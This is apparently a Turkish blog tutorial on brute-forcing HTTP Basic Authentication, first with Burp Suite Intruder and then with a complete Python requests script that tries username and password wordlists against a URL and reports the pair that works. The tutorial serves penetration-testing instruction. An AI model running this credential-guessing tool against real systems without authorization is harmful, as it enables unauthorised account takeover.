HTTP Basic Authentication Brute-Force

HTTP Basic Authentication Brute-Force

Burp Suite İle HTTP Basic Auth Brute Force

HTTP Basic Authentication, kimlik bilgilerini http paketine eklediği Authentication başlığında aşağıdaki formata uygun şekilde tutmaktadır.

1
Authorization: Basic base64encode("username:password")

Brute force yaparken bizim değişken alanımız http headerlerında bulunan Authorization: Basic kısmından sonraki ifade olan base64 ile encode edilmiş kısım olacaktır.

İlk olarak burp suite proxy moda aldıktan sonra test amaçlı bir kimlik bilgisi girilir.

İsteğimiz burp tarafından yakalandıktan sonra Send to Intruder diyerek intruder sekmesine gönderiyoruz.

Bu bölümde ise değişken olan alanımızı seçtikten sonra yan tarafta bulunan Add to § diyerek değişken alanımızı belirtiyoruz.

Bundan sonra sonra değişken alanımıza verilecek değerleri belirtmemiz gerekir. Bunun için Payloads sekmesine geliyoruz.

Yukarıdaki resimde işaretli olan alanlara değinecek olursak;

Payload Sets kullanacağımız payload kümesinin türünü ifade etmektedir. Biz burda custom olanı seçerek değerleri dışardan gireceğimizi ifade ediyoruz.

Payload Options bölümünde ise hazır bir wordlisti load edebileceğimiz gibi, manuel değerler girerek de mini bir wordlist oluşturulabilir. İşlemin uzun sürmemesi adına manuel olarak bir kaç kullanıcı adı ve parola değeri giriyorum. Seçenekelerimiz marker ile işaretlenen kısımlar gibi olmalıdır.

position: 1 ifadesi username değerlerimizi ifade etmektedir. Parola değerlerini de eklemek için position değerini 2 yaparak listeye manuel olarak parola değerleri giriniz. (veya parola wordlisti yükleyebilirsiniz.)

Seperator for position 1 kısmında seperate karakterimizi : nokta seçmemizin nedeni kimlik bilgilerinin username:password formatında gönderilmesinden dolayı.

Payload Processing bölümünde ise değişken alanımızdaki değerlerin base64 ile encode edilip gönderildiğinden, add diyerek encode seçeneğini base64 olarak belirtiyoruz.

Son olarak base64 encode işlemi 4’ün katlarına tamamlamak için sona konulan = ifadelerini encode etmesini engellemek için payload encoding kısmından = işaretini kaldırarak payladın doğru bir şekilde gönderilmesini sağlıyoruz.

Bu adımları sorunsuz bir şekilde uyguladıktan sonra attack diyerek sadece 200 dönen cevaba bakmamız gerekir.(Başarısız olanlar için 401 durum kodu dönmektedir.)

TRICK: Ayrıca options sekmesinde thread sayısını artırma, yeniden bağlanma, başlama zamanı gibi çesitli seçenekleri de ayarlayabilirsiniz.

Bu işlemi burp dışında pythonda bulunan request kütüphanesi ile yapmak isterseniz aşağıdaki ufak tool’da işinizi görecektir.

Request Kütüphanesiyle HTTP Basic Auth Brute Force

BruteForceHBA.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Author: Musa ŞANA
# Date: 29.10.2017
# Usage: python3 BruteForceHBA.py http://localhost/http-basic-auth username.txt password.txt

import requests
from sys import argv
from requests.auth import HTTPBasicAuth

def main(*argv):
if len(argv) < 1:
print("\nUSAGE: BruteForceHBA.py <url> <username.txt> <password.txt>\n")
quit()
else:
attack(argv[0], username(argv[1]), password(argv[2]))

def username(usernameList):
with open(usernameList , "r") as u:
username = u.read().splitlines()
return username

def password(passwordList):
with open(passwordList, "r") as p:
password = p.read().splitlines()
return password

def attack(url, username, password):
print("TARGET: "+url)
for user in username:
for passw in password:
req = requests.post(url, auth=HTTPBasicAuth(user, passw))
if req.status_code == 200:
print("-"*60, "\n[!] FOUND - Username: "+user+" Password: "+passw, "\n", "-"*60)
quit()
else:
print("[*] ", req.status_code, "Username: "+user+" - Password: "+passw)

if __name__ == "__main__":
main(*argv[1:])

Güvenli günler.

Comments